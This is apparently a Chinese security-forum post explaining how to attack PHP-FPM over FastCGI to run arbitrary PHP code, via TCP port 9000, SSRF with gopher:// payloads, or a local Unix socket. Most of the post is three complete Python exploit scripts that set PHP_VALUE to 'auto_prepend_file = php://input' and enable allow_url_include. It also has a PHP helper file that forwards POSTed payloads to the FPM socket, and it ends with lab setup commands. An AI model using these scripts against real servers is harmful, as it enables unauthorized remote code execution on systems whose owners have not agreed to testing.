其实TCP模式下默认listen=127.0.0.1:9000(上面也能看见),除非工作人员手欠改成了0.0.0.0:9000就暴露了
此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404:

然后可以在
/etc/php/7.3/fpm/pool.d/www.conf(手动安装下)
/php/php-5.5.38/etc/php-fpm.conf.default和/php/php-5.5.38/etc/php-fpm.conf(PHPstudy)
找到Security.Limit_Extensions选项:

同时该配置选项也会影响到Nginx的解析漏洞(废话)
所以需要找到一个服务器端本身自带的PHP文件才行..然而安装PHP后自带了很多预PHP文件;假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/*
虽然实际上,99%的站点都有index.php

Fast-CGI攻击:FPM下TCP模式那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
那么,我们怎么设置auto_prepend_file的值?
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
PHP_VALUE影响的是一个FPM进程,PHP_ADMIN_VALUE影响的是所有的进程;如果重复发送EXP,所有的进程都会受到影响(因为CPU会中断交替呀),影响力就从普通的“Value”变成了“admin_Value”
当然的,如果想从外网访问到你已经认为攻击到的FPM进程,多在网页刷新几次才行哦:joy_cat:
所以,我们最后传入如下环境变量:
​​
  1. {    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'    'PHP_VALUE': 'auto_prepend_file = php://input',    'PHP_ADMIN_VALUE': 'allow_url_include = On'}<img _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="" width="15" border="0">
复制代码


设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。
成功如图所示

自己的魔改脚本如下(Linux限定,Windows暂无测试):
import socketimport randomimport argparseimport sysfrom io import BytesIO# 修改自: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes()def bord(c):    if isinstance(c, int):        return c    else:        return ord(c)def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict')def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return sclass FastCGIClient:    """A Fast-CGI Client for Python"""    # private    __FCGI_VERSION = 1    __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3    __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11    __FCGI_HEADER_SIZE = 8    # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3    def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()    def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8) & 0xFF) \               + bchr(requestid & 0xFF) \               + bchr((length >> 8) & 0xFF) \               + bchr(length & 0xFF) \               + bchr(0) \               + bchr(0) \               + content        return buf    def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80) \                      + bchr((nLen >> 16) & 0xFF) \                      + bchr((nLen >> 8) & 0xFF) \                      + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80) \                      + bchr((vLen >> 16) & 0xFF) \                      + bchr((vLen >> 8) & 0xFF) \                      + bchr(vLen & 0xFF)        return record + name + value    def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header    def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))        if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record    def request(self, nameValuePairs={}, post=''):        if not self.__connect():            print('connect failure! please check your fasctcgi-server !!')            return        requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0) \                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                 + bchr(self.keepalive) \                                 + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)        if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)        if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)        self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''        return self.__waitForResponse(requestId)    def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf        data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']    def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('-u','--host', help='Target host, such as 127.0.0.1')    parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)    args = parser.parse_args()    client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    print(force_text(response))
如果你只是想要获得Payload,方便利用SSRF打进去的话,我又改了一下:
import socketimport base64import randomimport argparseimport sysfrom io import BytesIOimport urllib.parsePY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes()def bord(c):    if isinstance(c, int):        return c    else:        return ord(c)def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict')def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return sclass FastCGIClient:    """A Fast-CGI Client for Python"""    # private    __FCGI_VERSION = 1    __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3    __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11    __FCGI_HEADER_SIZE = 8    # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3    def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()    def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8) & 0xFF) \               + bchr(requestid & 0xFF) \               + bchr((length >> 8) & 0xFF) \               + bchr(length & 0xFF) \               + bchr(0) \               + bchr(0) \               + content        return buf    def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80) \                      + bchr((nLen >> 16) & 0xFF) \                      + bchr((nLen >> 8) & 0xFF) \                      + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80) \                      + bchr((vLen >> 16) & 0xFF) \                      + bchr((vLen >> 8) & 0xFF) \                      + bchr(vLen & 0xFF)        return record + name + value    def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header    def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))        if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record    def request(self, nameValuePairs={}, post=''):       # if not self.__connect():        #    print('connect failure! please check your fasctcgi-server !!')         #   return        requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0) \                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                 + bchr(self.keepalive) \                                 + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)        if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)        if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)        #print base64.b64encode(request)        return request        # self.sock.send(request)        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        # self.requests[requestId]['response'] = b''        # return self.__waitForResponse(requestId)    def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf        data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']    def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('-u','--host', default="127.0.0.1",help='Target host, such as 127.0.0.1')    parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)    args = parser.parse_args()    client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    response = urllib.parse.quote(response)    print(urllib.parse.quote("gopher://" +str(args.host)+":"+str(args.port) + "/_" + response))
用法类似,不过是生成payload而已

当然,也可以使用Gopherus生成payload

效果一样的

Fast-CGI攻击:FPM下Socket模式默认配置下就是这个模式
本地系统的进程们使用同一个Unix套接字相互通信,所以无法SSRF远程攻击(因为压根没走网络协议层:sob
这种情况就适合目标主机存在两套PHP环境,一套防护力度很强,比如phpstudy等面板搭建的;一套是手动搭建的,默认是fastcgi且socket模式;这样就可以绕过了。很多企业环境没配好或者没卸载干净就会这个样子,很常见。这个时候需要在目标站点写个php文件,内容如下:
<?php$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');$temp=base64_decode($_POST['x']);fputs($sock, $temp);var_dump(fread($sock, 4096));#var_dump(iconv('gbk','utf-8',fread($sock,4096)));?>
代码很简单,直接把payload传给套接字发出去而已;payload使用魔改后的脚本,当然可以不需要base64编码,方便后续压缩而已:
import socketimport base64import randomimport argparseimport sysimport urllib.parsefrom io import BytesIOimport urllib.parse# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes()def bord(c):    if isinstance(c, int):        return c    else:        return ord(c)def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict')def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return sclass FastCGIClient:    """A Fast-CGI Client for Python"""    # private    __FCGI_VERSION = 1    __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3    __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11    __FCGI_HEADER_SIZE = 8    # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3    def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()    def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8) & 0xFF) \               + bchr(requestid & 0xFF) \               + bchr((length >> 8) & 0xFF) \               + bchr(length & 0xFF) \               + bchr(0) \               + bchr(0) \               + content        return buf    def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80) \                      + bchr((nLen >> 16) & 0xFF) \                      + bchr((nLen >> 8) & 0xFF) \                      + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80) \                      + bchr((vLen >> 16) & 0xFF) \                      + bchr((vLen >> 8) & 0xFF) \                      + bchr(vLen & 0xFF)        return record + name + value    def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header    def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))        if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record    def request(self, nameValuePairs={}, post=''):       # if not self.__connect():        #    print('connect failure! please check your fasctcgi-server !!')         #   return        requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0) \                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                 + bchr(self.keepalive) \                                 + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)        if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)        if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)        print(base64.b64encode(request))        #return request        # self.sock.send(request)        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        # self.requests[requestId]['response'] = b''        # return self.__waitForResponse(requestId)    def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf        data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']    def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('-u','--host', default="127.0.0.1",help='Target host, such as 127.0.0.1')    parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)    args = parser.parse_args()    client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    #response = client.request(params, content)    client.request(params, content)    # response = urllib.parse.quote(response)    # print(urllib.parse.quote("gopher://" +str(args.host)+":"+str(args.port) + "/_" + response))
使用方法还是一样的,生成的payload如下:

发给你写的文件就好了,记得URL编码一下= =

手动安装Apache-Moduleapt updateapt install -y apache2apt install -y software-properties-commonadd-apt-repository -y ppandrej/phpapt updateapt install -y libapache2-mod-php7.3      #这个就是apache的内置php模块service apache2 start                      #因为php内置在apache,所以只需要启一个服务
手动安装Nginx-FastCGI如果采用RPM包方式安装php,那么默认安装路径应该在/etc/ 目录下;如果采用源代码方式安装php,那么一般默认安装在/usr/local/lib 目录下
apt updateapt install -y nginxapt install -y software-properties-commonadd-apt-repository -y ppandrej/phpapt updateapt install -y php7.3-fpmapt install vim
然后vim /etc/nginx/sites-enabled/default选择性注释60和62

sock的话记得找找自己php对应的版本哈,不一样的
然后找phpvim /etc/php/7.3/fpm/pool.d/www.conf看着注释哪一个

然后按序启动
/etc/init.d/php7.3-fpm start #php-fpm 是一个独立的进程,需要单独启动
service nginx start


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 16:05 , Processed in 0.019148 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表